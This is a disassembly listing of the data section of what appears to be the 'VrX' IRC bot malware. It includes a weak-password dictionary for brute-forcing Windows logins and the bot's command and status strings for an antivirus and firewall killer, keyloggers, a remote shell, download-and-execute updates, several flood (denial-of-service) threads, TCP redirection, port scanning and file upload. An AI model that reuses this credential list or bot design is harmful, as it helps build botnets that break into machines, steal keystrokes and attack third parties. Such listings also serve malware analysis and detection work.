aLoginpass	db 'loginpass',0        ; DATA XREF: ___:00429408o
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00429404o
		align 10h
aMary		db 'mary',0             ; DATA XREF: ___:00429400o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:004293FCo
		align 10h
aKate		db 'kate',0             ; DATA XREF: ___:004293F4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F0o
		align 10h
aEric		db 'eric',0             ; DATA XREF: ___:004293ECo
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293E8o
		align 10h
aIan		db 'ian',0              ; DATA XREF: ___:004293E4o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E0o
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293DCo
aBrian		db 'brian',0            ; DATA XREF: ___:004293D8o
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D0o
		align 10h
aSue		db 'sue',0              ; DATA XREF: ___:004293CCo
aSam		db 'sam',0              ; DATA XREF: ___:004293C8o
aLuke		db 'luke',0             ; DATA XREF: ___:004293C4o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: ___:004293C0o
					; ___:004293D4o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293BCo
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:004293B8o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B4o
		align 10h
aFred		db 'fred',0             ; DATA XREF: ___:004293B0o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293ACo
aJen		db 'jen',0              ; DATA XREF: ___:004293A8o
aBob		db 'bob',0              ; DATA XREF: ___:004293A4o
					; ___:004293F8o
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A0o
aZxc		db 'zxc',0              ; DATA XREF: ___:0042939Co
aAsd		db 'asd',0              ; DATA XREF: ___:00429398o
aQaz		db 'qaz',0              ; DATA XREF: ___:00429394o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429390o
aWinnt		db 'winnt',0            ; DATA XREF: ___:0042938Co
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429388o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429384o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429380o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:0042937Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429378o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429374o
aOem		db 'oem',0              ; DATA XREF: ___:00429370o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; ___:0042936Co
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429368o
		align 10h
aHome		db 'home',0             ; DATA XREF: ___:00429364o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429360o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:0042935Co
		align 10h
aInternet	db 'internet',0         ; DATA XREF: ___:00429358o
					; ___:004294B4o
		align 4
aWww		db 'www',0              ; DATA XREF: ___:00429354o
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; ___:00429350o
aOutlook	db 'outlook',0          ; DATA XREF: ___:0042934Co
aMail		db 'mail',0             ; DATA XREF: ___:00429348o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429344o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00429340o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; ___:00429338o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:00429334o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042932Co
		align 10h
aLinux		db 'linux',0            ; DATA XREF: ___:00429328o
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429324o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: ___:00429320o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:0042931Co
		align 10h
aTest		db 'test',0             ; DATA XREF: ___:00429314o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429310o
		align 10h
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; ___:0042930Co
		align 4
a2002		db '2002',0             ; DATA XREF: ___:00429308o
		align 10h
a2001		db '2001',0             ; DATA XREF: ___:00429304o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429300o
		align 10h
a1234567890	db '1234567890',0       ; DATA XREF: ___:004292FCo
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:004292F8o
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F0o
a123456		db '123456',0           ; DATA XREF: ___:004292ECo
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292E8o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292E4o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E0o
a12		db '12',0               ; DATA XREF: ___:004292DCo
		align 4
a1:					; DATA XREF: ___:0040AFC7o
					; ___:004292D8o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D4o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D0o
aPass		db 'pass',0             ; DATA XREF: ___:004292CCo
		align 10h
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292C8o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C4o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C0o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: ___:004292BCo
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:004292B8o
aDb2		db 'db2',0              ; DATA XREF: ___:00429460o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429478o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429440o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429330o
aGuest_0	db 'guest',0            ; DATA XREF: ___:00429318o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C0o
aStudent	db 'student',0          ; DATA XREF: ___:004294BCo
aOwner		db 'owner',0
		align 10h
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042933Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C4o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B4o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B0o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292ACo
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292A8o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A4o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A0o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42915Co
dword_4299D4	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A08	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A34	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A74	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A98	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB4	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC0	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
dword_429AC8	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_4100B4+EAo ...
unk_429AD0	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B34	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B54	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B74	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 4
unk_429BC8	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 4
asc_429C48:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C4C	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 10h
unk_429C70	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C98	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CDC	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D34	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429D60	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DAC	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DD8	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429DFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E20	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_429E40	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E8C	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EDC	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F50	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F6C	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F90	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FA8	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FE8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A000	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A01C	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A03C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A054	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A080:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A084	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A4	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 4
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 4
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 10h
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 4
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 10h
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 4
unk_42A178	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 10h
unk_42A190	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 10h
unk_42A1C0	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E4	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 10h
unk_42A200	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 4
unk_42A21C	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A238	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A24C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A258	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 10h
dword_42A280	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A29C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2B8	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2DC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A334	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A360	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A404	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 4
dword_42A41C	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A430	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A440	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A488	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 4
dword_42A4FC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A518	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A53C	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A578	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5A8	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5B4	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A610	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A648	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A674	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A6B0	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A718	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A780	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A7B0	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A824	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A864	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 10h
unk_42A890	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D4	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 4
dword_42A968	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A974	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42A9B0	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42AA00	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AA38	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 10h
unk_42AAA0	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD4	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
unk_42AB08	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AB38	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
